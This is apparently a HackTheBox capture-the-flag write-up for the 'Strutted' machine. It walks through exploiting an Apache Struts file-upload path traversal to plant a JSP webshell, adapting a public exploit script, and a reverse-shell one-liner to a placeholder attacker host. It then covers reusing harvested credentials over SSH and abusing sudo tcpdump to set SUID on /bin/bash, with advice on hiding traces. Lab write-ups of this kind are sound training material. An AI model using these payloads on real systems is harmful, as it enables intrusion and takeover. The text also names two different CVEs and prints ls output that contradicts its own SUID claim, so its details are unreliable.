HackTheBox Strutted
Writeup for HackTheBox Strutted
Machine Synopsis
Strutted
is an medium-difficulty Linux machine featuring a website for a company offering image hosting solutions. The website provides a Docker container with the version of Apache Struts that is vulnerable to CVE-2024-53677
, which is leveraged to gain a foothold on the system. Further enumeration reveals the tomcat-users.xml
file with a plaintext password used to authenticate as james
. For privilege escalation, we abuse tcpdump
while being used with sudo
to create a copy of the bash
binary with the SUID
bit set, allowing us to gain a root
shell. (Source)
Key exploitation techniques:
- Apache Struts2 RCE (CVE-2023-50164) via file upload
- Source code analysis of Java application
- Hardcoded credential discovery
- SSH access via credential reuse
sudo tcpdump
privilege escalation
Enumeration
An nmap
scan identified SSH (22/tcp) and HTTP (80/tcp).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ nmap -p- --min-rate 10000 10.10.11.59
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
❯ nmap -p 22,80 -sC -sV 10.10.11.59
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://strutted.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The HTTP service redirected to http://strutted.htb/
. The hostname was added to /etc/hosts
:
1
❯ echo -e '10.10.11.59\tstrutted.htb' | sudo tee -a /etc/hosts
The main page of http://strutted.htb/
allowed image uploads. Clicking “Download” on the page provided strutted.zip
, containing the application’s source code and Docker setup.
1
2
3
❯ unzip strutted.zip
❯ ls
Dockerfile README.md context.xml strutted strutted.zip tomcat-users.xml
Dockerfile
Analysis
Review of the Dockerfile
provided insight into the application’s deployment environment.
1
2
3
4
5
6
7
8
# Dockerfile excerpt
FROM tomcat:9.0
...
COPY --from=0 /tmp/strutted/target/strutted-1.0.0.war /usr/local/tomcat/webapps/ROOT.war
COPY ./tomcat-users.xml /usr/local/tomcat/conf/tomcat-users.xml
COPY ./context.xml /usr/local/tomcat/webapps/manager/META-INF/context.xml
EXPOSE 8080
CMD ["catalina.sh", "run"]
Key findings:
- The application runs on
Tomcat 9.0
. - The
strutted-1.0.0.war
is deployed as theROOT
web application. - A
tomcat-users.xml
andcontext.xml
file are copied into Tomcat’s configuration.
The tomcat-users.xml
from the strutted.zip
contained credentials: admin:skqKY6360z!Y
.
1
2
3
4
5
6
7
❯ cat tomcat-users.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="skqKY6360z!Y" roles="manager-gui,admin-gui"/>
</tomcat-users>
These credentials did not grant access to the Tomcat Manager GUI, implying this tomcat-users.xml
was either outdated or not the active configuration on the running system. This indicates the possibility of a different tomcat-users.xml
on the target system.
Source Code Analysis
Review of strutted/pom.xml
revealed the Apache Struts2 version:
1
2
3
<properties>
<struts2.version>6.3.0.1</struts2.version>
</properties>
Struts 2 version 6.3.0.1
is known to be vulnerable to CVE-2023-50164, a critical file upload vulnerability allowing Remote Code Execution (RCE). This vulnerability permits path traversal by manipulating the filename
parameter in a file upload request.
Additionally, strutted/src/main/java/org/strutted/htb/Upload.java
detailed the upload logic:
1
2
3
4
5
6
7
8
9
10
// Upload.java excerpt
String baseUploadDirectory = System.getProperty("user.dir") + "/webapps/ROOT/uploads/";
// ...
String timeStamp = new SimpleDateFormat("yyyyMMdd_HHmmss").format(new Date());
File timeDir = new File(baseDir, timeStamp);
// ...
File destFile = new File(timeDir, uploadFileName);
// ...
private boolean isAllowedContentType(String contentType) { /* ... */ } // Checks image/jpeg, png, gif
private boolean isImageByMagicBytes(File file) { /* ... */ } // Checks JPEG, PNG, GIF magic bytes
The Upload.java
code confirms that uploaded files are stored in user.dir/webapps/ROOT/uploads/timeStamp/<filename>
and that content type and magic byte checks are performed.
Exploitation: Apache Struts 2 RCE (CVE-2023-50164)
The vulnerability allows path traversal in the file upload. The goal is to upload a malicious .jsp
webshell to a web-accessible directory.
Manual Request Manipulation
A dummy image file (test.gif
) was created and uploaded to capture the request in Burp Suite.
1
❯ echo 'GIF89a;' > test.gif
Upload the file and capture the request on Burp Suite.
The captured request was then modified:
- Change
name="upload"
toname="Upload"
(case change is crucial for the exploit). - Add a new form boundary with
Content-Disposition: form-data; name="uploadFileName";
specifying the desired target path. This path exploits the path traversal to place the webshell directly inwebapps/ROOT/webshell/webshell.jsp
. - The WAR file (webshell) must be prefixed with
GIF89a;
to bypass magic byte checks.
Before Modification:
1
2
3
4
5
6
7
------WebKitFormBoundaryABCD
Content-Disposition: form-data; name="upload"; filename="test.gif"
Content-Type: image/gif
GIF89a;
test
------WebKitFormBoundaryABCD--
After Modification (Conceptual):
1
2
3
4
5
6
7
8
9
10
11
------WebKitFormBoundaryABCD
Content-Disposition: form-data; name="Upload"; filename="test.gif"
Content-Type: image/gif
GIF89a;
<WEBSHELL_CONTENT_HERE>
------WebKitFormBoundaryABCD
Content-Disposition: form-data; name="uploadFileName";
../../../../../../usr/local/tomcat/webapps/ROOT/webshell/webshell.jsp
------WebKitFormBoundaryABCD--
Note: The uploadFileName
path needs to be adjusted based on the user.dir
of the Tomcat process and the target directory. The Dockerfile
indicates /usr/local/tomcat/webapps/ROOT.war
is deployed, so the desired path to place a webshell would be within /usr/local/tomcat/webapps/ROOT/
. For a /webshell/webshell.jsp
to be created, the path should be /usr/local/tomcat/webapps/ROOT/webshell/webshell.jsp
. The exploit script handles the path traversal correctly.
Forwarding the modified request resulted in a share link reflecting the arbitrary filename, confirming path manipulation was possible.
Automated Exploitation with Public Script
A public exploit script for CVE-2023-50164 was used for automated WAR file upload and webshell deployment.
1
2
3
4
5
❯ git clone https://github.com/jakabakos/CVE-2023-50164-Apache-Struts-RCE
❯ cd CVE-2023-50164-Apache-Struts-RCE
❯ python3 -m venv .venv && source .venv/bin/activate
❯ cd exploit
❯ pip install -r requirements.txt
The exploit.py
script required modifications:
NUMBER_OF_PARENTS_IN_PATH
: Changed from2
to5
to correctly traverse to the desired web root given the application’s internal file structure (user_dir/webapps/ROOT/uploads/timeStamp/<file>
).war_file_content
: Prefixed the WAR file content withb"GIF89a;"
to bypass the magic byte check.files
: Modified theHTTP_UPLOAD_PARAM_NAME.capitalize()
entry to usearbitrary.gif
andimage/gif
to satisfy content-type and filename requirements.
1
2
3
4
5
6
7
8
9
10
11
# exploit.py modifications (excerpt)
NUMBER_OF_PARENTS_IN_PATH = 5 # Adjusted for correct path traversal relative to upload directory
# ...
war_file_content = open(NAME_OF_WEBSHELL_WAR, "rb").read()
war_file_content = b"GIF89a;" + war_file_content # Add GIF magic bytes
files = {
HTTP_UPLOAD_PARAM_NAME.capitalize(): ("arbitrary.gif", war_file_content, "image/gif"), # Use GIF filename/type
HTTP_UPLOAD_PARAM_NAME+"FileName": war_location
}
# ...
The exploit was executed, deploying webshell.war
to http://strutted.htb/webshell/webshell.jsp
.
1
2
3
4
5
6
7
8
9
❯ python3 exploit.py --url http://strutted.htb/upload.action
[+] Starting exploitation...
[+] WAR file already exists.
[+] webshell.war uploaded successfully.
[+] Reach the JSP webshell at http://strutted.htb/webshell/webshell.jsp?cmd=<COMMAND>
[+] Attempting a connection with webshell.
[+] Successfully connected to the web shell.
CMD > whoami
tomcat
Initial access was gained as the tomcat
user.
OPSEC Consideration for Webshells:
While webshells are useful for command execution, they can leave persistent artifacts. For a more stealthy approach, the webshell could be used to immediately fetch and execute a reverse shell, then attempt to remove the webshell itself.
1 2 3 # Example webshell command to get a reverse shell (assuming webshell.jsp?cmd= supports shell commands) CMD > bash -i >& /dev/tcp/<YOUR_IP>/<YOUR_PORT> 0>&1 # On attacker machine, set up netcat listener: nc -lvnp <YOUR_PORT>
Lateral Movement: Internal Tomcat Credentials
With access as tomcat
, further enumeration was performed to identify additional credentials or access points.
Post-Exploitation Enumeration
Directories within the Tomcat installation were examined.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
CMD > ls -l
total 12
lrwxrwxrwx 1 root root 12 Jul 20 2022 conf -> /etc/tomcat9
drwxr-xr-x 2 tomcat tomcat 4096 Jan 15 14:30 lib
lrwxrwxrwx 1 root root 17 Jul 20 2022 logs -> ../../log/tomcat9
drwxr-xr-x 2 root root 4096 Feb 10 03:07 policy
drwxrwxr-x 4 tomcat tomcat 4096 Feb 10 04:04 webapps
lrwxrwxrwx 1 root root 19 Jul 20 2022 work -> ../../cache/tomcat9
CMD > ls /etc/tomcat9
Catalina
catalina.properties
context.xml
jaspic-providers.xml
logging.properties
policy.d
server.xml
tomcat-users.xml
web.xml
CMD > cat /etc/tomcat9/tomcat-users.xml
<?xml version="1.0" encoding="UTF-8"?>
...
<!--
<user username="admin" password="<must-be-changed>" roles="manager-gui"/>
<user username="robot" password="<must-be-changed>" roles="manager-script"/>
<role rolename="manager-gui"/>
<role rolename="admin-gui"/>
<user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/>
--->
...
The /etc/tomcat9/tomcat-users.xml
file was then inspected. This was a different file than the one extracted from strutted.zip
. A new credential set was found: admin:IT14d6SSP81k
.
Lets grab the possible usernames.
1
2
3
4
5
CMD > cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
This password was tested against the usernames via SSH using nxc
.
1
2
3
❯ nxc ssh strutted.htb -u users.txt -p 'IT14d6SSP81k'
SSH 10.10.11.59 22 strutted.htb [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH 10.10.11.59 22 strutted.htb [+] james:IT14d6SSP81k Linux - Shell access!
The password IT14d6SSP81k
worked for user james
.
SSH access was gained as james
.
1
2
3
❯ ssh james@strutted.htb
james@strutted:~$ cat user.txt
ba7ee3908b7ba16d807bbdac299cd8d2
The user.txt
flag was retrieved.
Privilege Escalation: sudo tcpdump
Abuse
Privilege escalation to root
was attempted by examining james
’s sudo
privileges.
1
2
3
4
5
6
james@strutted:~$ sudo -l
Matching Defaults entries for james on localhost:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User james may run the following commands on localhost:
(ALL) NOPASSWD: /usr/sbin/tcpdump
The james
user could execute /usr/sbin/tcpdump
as root
without a password.
GTFOBins tcpdump
Exploit
According to GTFOBins, tcpdump
can be abused to execute arbitrary commands as root when run with sudo
and the -z
option for post-rotation script execution.
1
2
3
4
5
6
7
8
9
10
james@strutted:~$ COMMAND='chmod 4777 /bin/bash'
james@strutted:~$ TF=$(mktemp)
james@strutted:~$ echo "$COMMAND" > $TF
james@strutted:~$ chmod +x $TF
james@strutted:~$ sudo tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
Maximum file limit reached: 1
1 packet captured
4 packets received by filter
0 packets dropped by kernel
This command configured tcpdump
to capture one packet, rotate the output file (/dev/null
), and then execute the script specified by -z
(our temporary script that sets SUID on /bin/bash
) as the user specified by -Z
(root
).
Root Shell
After the tcpdump
command completed, /bin/bash
was granted SUID permissions.
1
2
3
4
5
james@strutted:~$ ls -l /bin/bash
-rwxrwxrwx 1 root root 1396520 Jan 25 2024 /bin/bash
james@strutted:~$ /bin/bash -p
bash-5.1# whoami
root
Root access was obtained. The root.txt
flag was then retrieved.
1
2
bash-5.1# cat /root/root.txt
ee7d46693ddd2eb777a2a161a56601ea
Cleanup
For operational security (OPSEC) in a real engagement, artifacts should be removed.
1
2
3
4
5
# Cleanup of SUID binary and temporary script
bash-5.1# chmod 755 /bin/bash # Revert SUID on bash
bash-5.1# rm -f "$TF" # Remove temporary script
# Remove webshell and any other artifacts created during initial access.
# (e.g., rm -rf /usr/local/tomcat/webapps/ROOT/webshell)